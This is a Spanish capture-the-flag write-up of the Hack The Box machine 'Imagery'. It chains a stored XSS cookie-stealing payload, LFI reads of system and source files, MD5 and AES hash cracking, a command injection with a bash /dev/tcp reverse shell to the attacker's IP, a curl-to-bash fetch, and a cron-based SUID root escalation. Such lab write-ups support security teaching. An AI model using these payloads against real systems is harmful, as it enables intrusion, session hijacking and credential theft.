Imagery - Hack The Box
About
Imagery es una máquina de dificultad Medium que aloja una galería de imágenes basada en Flask. La intrusión comienza explotando una vulnerabilidad de Stored XSS en el sistema de reporte de errores, lo que nos permitirá secuestrar la cookie de sesión del administrador. Tras obtener acceso, aprovecharemos una vulnerabilidad de Local File Inclusion (LFI) en el lector de logs para extraer el código fuente. Finalmente, tras auditar el código, lograremos una Inyección de Comandos (RCE) en el módulo de edición de imágenes para obtener ejecución remota al servidor.
Contents
1. Enumeration
Iniciamos con una fase de reconocimiento activo para identificar la superficie de ataque. El objetivo es descubrir servicios en ejecución y versiones específicas que puedan presentar debilidades.
1.1 Full Port Scan
Ejecutamos un escaneo inicial sobre el rango completo de puertos TCP (1-65535) para asegurar que no pasamos por alto ningún servicio oculto en puertos no estándar.
nmap -p- -vvv --min-rate 5000 10.129.242.164
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 14:46 -05
Initiating Ping Scan at 14:46
Scanning 10.129.242.164 [2 ports]
Completed Ping Scan at 14:46, 0.32s elapsed (1 total hosts)
Initiating Connect Scan at 14:46
Scanning imagery.htb (10.129.242.164) [65535 ports]
Discovered open port 22/tcp on 10.129.242.164
Completed Connect Scan at 14:46, 26.62s elapsed (65535 total ports)
Nmap scan report for imagery.htb (10.129.242.164)
Host is up, received conn-refused (0.17s latency).
Scanned at 2026-02-19 14:46:05 -05 for 27s
Not shown: 65465 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
8000/tcp open http-alt syn-ack ttl 63
1.2 Service/Version Detention
Una vez identificados los puertos abiertos, realizamos un escaneo más profundo utilizando los flags -sC (scripts por defecto) y -sV (detección de versiones).
nmap -p 22,8000 -sCV 10.129.242.164
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 14:53 -05
Nmap scan report for imagery.htb (10.129.242.164)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
1.3 Virtual Host
Dado que el servidor web puede estar configurado para responder a un nombre de dominio específico, es necesario mapear la dirección IP de la instancia al nombre de dominio imagery.htb. Esto permite que el navegador (o herramientas como curl) envíe el encabezado HTTP Host correcto.
Modificamos el archivo /etc/hosts de nuestra maquina local:
echo "10.129.243.164 imagery.htb" | sudo tee -a /etc/hosts

Al acceder a http://imagery.htb:8000, nos encontramos con una plataforma de gestión de imágenes. Para interactuar con las funciones internas de la aplicación, procedemos a crear una cuenta de usuario.
-
Registro: Navegamos al endpoint
/registerpara crear un nuevo perfil. -
Autenticación: Una vez registrados, iniciamos sesión en el panel de
/login
2. Exploitation
2.1 Cross-Site Scripting (XSS)
Durante la auditoría del panel de usuario, identificamos que el formulario en el path /admin/bug_reports no sanitiza correctamente la entrada del campo Bug Details. Al ser un reporte que será visualizado por un usuario con privilegios elevados (administrador), esto representa un vector de Stored XSS.
Para explotar esta vulnerabilidad y obtener la cookie de sesión del administrador, enviaremos un reporte de error inyectando un payload diseñado para forzar al navegador de la víctima a redirigirse a nuestro servidor.
En nuestra máquina local:
python -m http.server 8080
Payload:
<img src=/ onerror="document.location='http://{ip_atacante}:8080/'+document.cookie" />
Para automatizar o replicar esta acción, podemos interceptar la petición y ejecutarla desde la consola del navegador:
await fetch("http://imagery.htb:8000/report_bug", {
"method": "POST",
"headers": {
"Content-Type": "application/json"
},
"body": JSON.stringify({
"bugName": "Critical UI Bug",
"bugDetails": "<img src=/ onerror=\"document.location='http://10.10.15.107:8080/'+document.cookie\">"
})
});
Una vez que el administrador accede al reporte para revisarlo, su navegador ejecuta el código malicioso agregando la cookie sesión en la URL.
python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.242.164 - - [19/Feb/2026 16:46:11] code 404, message File not found
10.129.242.164 - - [19/Feb/2026 16:46:11] "GET /session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aZeEnw.GC9hjlqO-RnfgqivZOtmhF_yJKE HTTP/1.1" 404 -
10.129.242.164 - - [19/Feb/2026 16:46:11] code 404, message File not found
10.129.242.164 - - [19/Feb/2026 16:46:11] "GET /favicon.ico HTTP/1.1" 404 -
Al no tener la flag HttpOnly incluida en el encabezado HTTP Set-Cookie deja a la aplicación expuesta a ataques de Cross-Site Scripting (XSS) y Session Hijacking(secuestro de sesión).
Con esta cookie, procedemos a suplantar la identidad del administrador en el navegador para acceder a funciones restringidas.
2.1.1 Session Hijacking
Procedemos a realizar un Secuestro de sesión. Para ello, interceptamos la sesión actual en el navegador (DevTools > Storage) y sustituimos el valor de nuestra cookie sesión por el token capturado.

El servidor nos reconoce como el usuario [email protected]. Al explorar el panel administrativo, identificamos nuevas funcionalidades críticas:
- Gestión de usuarios (Eliminación).
- Visualización y borrado de reportes de errores.
- Lectura de logs del sistema.
Al analizar la petición encargada de obtener los registros del sistema, observamos un parámetro interesante:
await fetch("http://imagery.htb:8000/admin/get_system_log?log_identifier=admin%40imagery.htb.log", {
// ... headers ...
"method": "GET"
});
2.2 Local File Inclusion (LFI)
Al analizar el Path /admin/get_system_log y su Query scrign ?log_identifier=admin%40imagery.htb.log notamos que el parámetro recibe el nombre de un log. En aplicaciones basadas en Flask, este comportamiento suele indicar que el backend utiliza una función de lectura de archivos para servir el contenido dinámicamente.
Si el servidor no sanitiza correctamente esta entrada (por ejemplo, mediante el uso de os.path.join sin validar secuencias de escape), estaríamos ante una vulnerabilidad de Local File Inclusion (LFI) o Arbitrary File Read.
Para confirmarlo, realizamos una fase de Web Fuzzing sobre el parámetro log_identifier.
2.2.1 Web Fuzzing con Burp Suite
Para validar el alcance del LFI, utilizamos el módulo Intruder de Burp Suite configurado en modo Sniper. Empleamos la wordlist SecList/Fuzzing/LFI/LFI-Jhaddix.txt, la cual contiene una amplia variedad de secuencias de salto de directorio y archivos conocidos de Linux.
Encontramos que podemos descargar y ver los directorios estándares del sistema.
-
/etc: Confirmamos el Path Traversal al recuperar con éxito/etc/group. Este archivo nos reveló la existencia de un usuario de sistemaweb:x:1001:(UID 1001), sugiriendo que la aplicación no corre bajo el contexto deroot, sino de un usuario llamado web./etc/passwd/etc/hosts/etc/crontab/etc/group

-
/proc: Es un archivo “virtual” que solo existe en la memoria mientras el sistema corre. Donde muestra las variables de entorno del proceso que se está ejecutando actualmenteHOME=/home/web(el servidor de flask)./proc/self/environ

2.2.2 Source Code
En un entorno Flask, el archivo app.py suele actuar como el orquestador de la lógica del servidor.
curl -s -O -b 'session={admin_cookie}' http://imagery.htb:8000/admin/get_system_log?log_identifier=/home/web/web/app.py
Se confirma que SESSION_COOKIE_HTTPONLY está explícitamente en False, lo que permitió nuestro ataque inicial de XSS.
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False
La aplicación importa módulos específicos para cada función.
config.pyutils.pyapi_auth.pyapi_upload.pyapi_manage.pyapi_edit.pyapi_admin.pyapi_misc.py
Continuamos extrayendo archivos críticos definidos en los imports y en config.py:
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
config.py define DATA_STORE_PATH = 'db.json'. Al descargar este archivo, obtenemos los hashes de las contraseñas de los usuarios.
{
"users": [
...
{
"username": "[email protected]",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
]
...
}
2.3 Remote Code Execution(RCE)
Analicemos el método apply_visual_transform() de api_edit.py.
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
...
try:
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
degrees = str(params.get('degrees'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'saturation':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'brightness':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'contrast':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
...
Identificamos una vulnerabilidad crítica en el path /apply_visual_transform. Aunque la función está restringida a usuarios con el atributo is_testuser_account (el cual confirmamos que posee el usuario [email protected] en db.json).
Como vemos en el código fuente, este método tiene varias acciones para transformar una imagen:
-
crop: Recortar -
rotate: Girar / Rotar -
saturation: Saturacion -
brightness: Brillo -
contrast: Constraste
Analicemos el condicional de la acción de recortar.
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
El desarrollador en este punto utiliza ImageMagick que es una suite de línea de comandos para procesar imágenes. Las variables x, y, width y height provienen directamente del input del usuario (request.get_json()) sin ningún tipo de saneamiento o validación numérica.
Al ejecutar subprocess.run con el argumento shell=True, Python invoca /bin/sh para interpretar la cadena command. Esto permite el uso de metacaracteres de shell (como ;, &&, |) para encadenar comandos arbitrarios.
Para explotar esto, necesitamos que el parámetro x rompa la sintaxis del comando original, haciendo que la concatenación referenciada en la variable command solo tome el valor de x para poder inyectar un comando del sistema operativo y hacernos con el servidor web vía reverse shell.
Las otras funciones (rotate, saturation, etc.) utilizan una lista de argumentos en subprocess.run (lo cual es seguro), la función crop usa una f-string vulnerable.
Ejemplo:
import subprocess
# Variables que no queremos que afecten
IMAGEMAGICK_CONVERT_PATH = "convert"
original_filepath = "imagen.jpg"
width, height, y = 100, 100, 0
output_filepath = "salida.jpg"
# El "inyector" en x:
# 1. El primer ';' termina el intento de 'convert'
# 2. 'ls -l' es lo que realmente se ejecutará
# 3. El '#' hace que '+{y} {output_filepath}' sea ignorado
x = "; ls -l #"
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, shell=True)
En este script vemos que es posible romper la cadena y usar x como inyector.
2.3.1 Users Hashes
Para explotar la inyección de comandos, la aplicación requiere que la sesión activa tenga el atributo is_testuser_account habilitado. Este flag se activa al autenticarse como el usuario [email protected].
Con el hash extraído, ejecutamos un ataque de fuerza bruta basado en diccionario y el modo específico para MD5 (-m 0):
hashcat "2c65c8d7bfbca32a3ed42596192384f6" -m 0 /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt
- Password: iambatman
2.3.2 Web Shell
Para disparar la vulnerabilidad de inyección de comandos, el usuario con una imagen en su galería, permitiendo así invocar la petición /apply_visual_transform. El objetivo es forzar al servidor a web ejecutar una Reverse Shell.
En nuestra máquina local:
nc -lvnp 8080
Listening on 0.0.0.0 8080
Payload:
; bash -c 'bash -i >& /dev/tcp/{IP_ATACANTE}/{PUERTO} 0>&1' #
-
bash -i: Invoca una shell de Bash interactiva. -
>& /dev/tcp/{IP}/{PORT}: Redirige la salida estándar (stdout) y el error estándar (stderr) hacia un socket TCP dirigido a nuestra IP. -
0>&1: Redirige la entrada estándar (stdin) al mismo descriptor de archivo, permitiendo que los comandos que enviemos desde Netcat sean ejecutados por la shell de la víctima.
Procedemos a capturar la petición /apply_visual_transform, inyectar el payload en el parámetro x y ejecutarla en la consola del navegador.
await fetch("http://imagery.htb:8000/apply_visual_transform", {
"credentials": "include",
"headers": {
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9",
"Content-Type": "application/json",
},
"body": JSON.stringify({
"imageId":"7aad4727-b33a-482f-9dab-2b5154b89d00",
"transformType":"crop",
"params":{"x":"; bash -c 'bash -i >& /dev/tcp/10.10.14.127/8080 0>&1' #",
"y":4,
"width":5,
"height":4
}
}),
"method": "POST",
"mode": "cors"
});
Al procesar la solicitud, el servidor ejecuta nuestra cadena maliciosa bajo el contexto del usuario web, conectándose hacia nuestra máquina y estableciendo el túnel de control:
nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 10.129.242.164 48522
bash: cannot set terminal process group (1357): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ id
uid=1001(web) gid=1001(web) groups=1001(web)
3. Post Explotacion
3.1 Enumeration
Procedemos con la fase de enumeración local para identificar vectores de escalada de privilegios. Para agilizar este proceso, utilizaremos la herramienta LinPEAS, un script automatizado que busca desconfiguraciones, archivos sensibles y vulnerabilidades en el kernel.
En nuestra máquina de ataque, preparamos el binario y levantamos un servidor web para disponibilizar el archivo:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh && python -m http.server 8000
Desde el servidor web, descargamos y ejecutamos el script directamente en memoria para minimizar la huella en disco:
curl -s http://{IP_ATACANTE}:8000/linpeas.sh | bash
Durante la enumeración, el script resalta un hallazgo crítico en el directorio /var/backup. Se trata de un archivo comprimido y cifrado mediante el algoritmo AES Encryption, el cual posee permisos de lectura para todos los usuarios:
web@Imagery:/var/backup$ ll
total 22524
drwxr-xr-x 2 root root 4096 Sep 22 18:56 ./
drwxr-xr-x 14 root root 4096 Sep 22 18:56 ../
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 web_20250806_120723.zip.aes
Enviamos el archivo a nuestra máquina local para realizar un análisis forense. Para ello, establecemos una transferencia de archivos punto a punto.
nc -lvnp 8000 > backup_web.zip.aes
Desde el servidor web:
web@Imagery:/var/backup$ nc {IP_ATACANTE} 8000 < web_20250806_120723.zip.aes
3.2 Cracking AES Encryption
Para determinar la naturaleza real del archivo, usaremos el comando file. Para identificar el tipo de archivo mediante el análisis de su cabecera y “números mágicos”.
file backup_web.zip.aes
backup_web.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
Instalamos la CLI oficial de AES Crypt en nuestra máquina. Sin embargo, al intentar el descifrado, el sistema solicita una contraseña:
aescrypt
Specify either encrypt (-e), decrypt (-d), or generate (-g) mode
aescrypt -d backup_web.zip.aes
Enter password:
Para recuperar la clave, utilizaremos el script aescrypt2hashcat.pl del repositorio oficial de Hashcat Tools. Este script extrae hash de archivos .aes.
perl aescrypt2hashcat.pl backup_web.zip.aes > backup_web_hash.txt
cat backup_web_hash.txt
$aescrypt$1*98b981e1c146c078b5462f09618b1341*0dd95827498496b8c8ca334d99b13c28*10c6eeb86b1d71475fc5d52ed52d67c20bd945d53b9ac0940866bc8dfbba72c1*e042d41d09ac2726044d63af1276c49e2c8d5f9eb9da32e58bf36cf4f0ad9c6
Con el hash extraído, ejecutamos un ataque de fuerza bruta basado en diccionario y modo específico para AES Crypt (-m 22400):
hashcat -m 22400 backup_web_hash.txt /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
- Password: bestfriends
3.2.1 Users hashes
Tras obtener la contraseña, desciframos y descomprimimos el contenido para inspeccionar los archivos del proyecto:
aescrypt -d backup_web.zip.aes
Enter password:bestfriends
Decrypting: backup_web.zip.aes
unzip backup_web.zip
cat backup_web.zip
Al explorar la estructura del backup, localizamos el archivo db.json, el cual actúa como base de datos de la aplicación y contiene información sensible de los usuarios:
{
"users": [
...
{
"username": "[email protected]",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
...
]
}
Con el hash extraído, ejecutamos un ataque de fuerza bruta basado en diccionario y modo específico para MD5 (-m 0):
hashcat "01c3d2e5bdaf6134cec0a367cf53e535" -m 0 /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
- Password: supersmash
3.3 Privilege Escalation
Tras comprometer la cuenta del usuario [email protected], procedemos a la enumeración del sistema en busca de vectores de escalada vertical.
El el servidor web con autenticados como mark:
mark@Imagery:~$ ls
user.txt
mark@Imagery:~$ cat user.txt
0f3184d1bc73c1b5a5ebb187e4b5a54c
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
El usuario puede ejecutar /usr/local/bin/charcol con privilegios de root sin requerir contraseña.
mark@Imagery:~$ sudo charcol -R
mark@Imagery:~$ sudo charcol shell
[2026-02-25 19:55:32] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>help
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
Al inspeccionar el manual de ayuda, indica explícitamente que la herramienta no valida la seguridad de los comandos ejecutados.
Haremos uso de la instrucción auto, para programar un schedule job que ejecutar la asignación del bit SUID al binario /bin/bash para que nos devuelva una shell de bash en modo root.
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "pwn" --log-output "/home/mark/pwn.log"
mark@Imagery:~$ /bin/bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) egid=0(root) groups=0(root),1002(mark)
Hemos tomado control total del servidor.
Este contenido tiene fines exclusivamente éticos y educativos . El uso de estas técnicas en sistemas sin autorización previa es ilegal.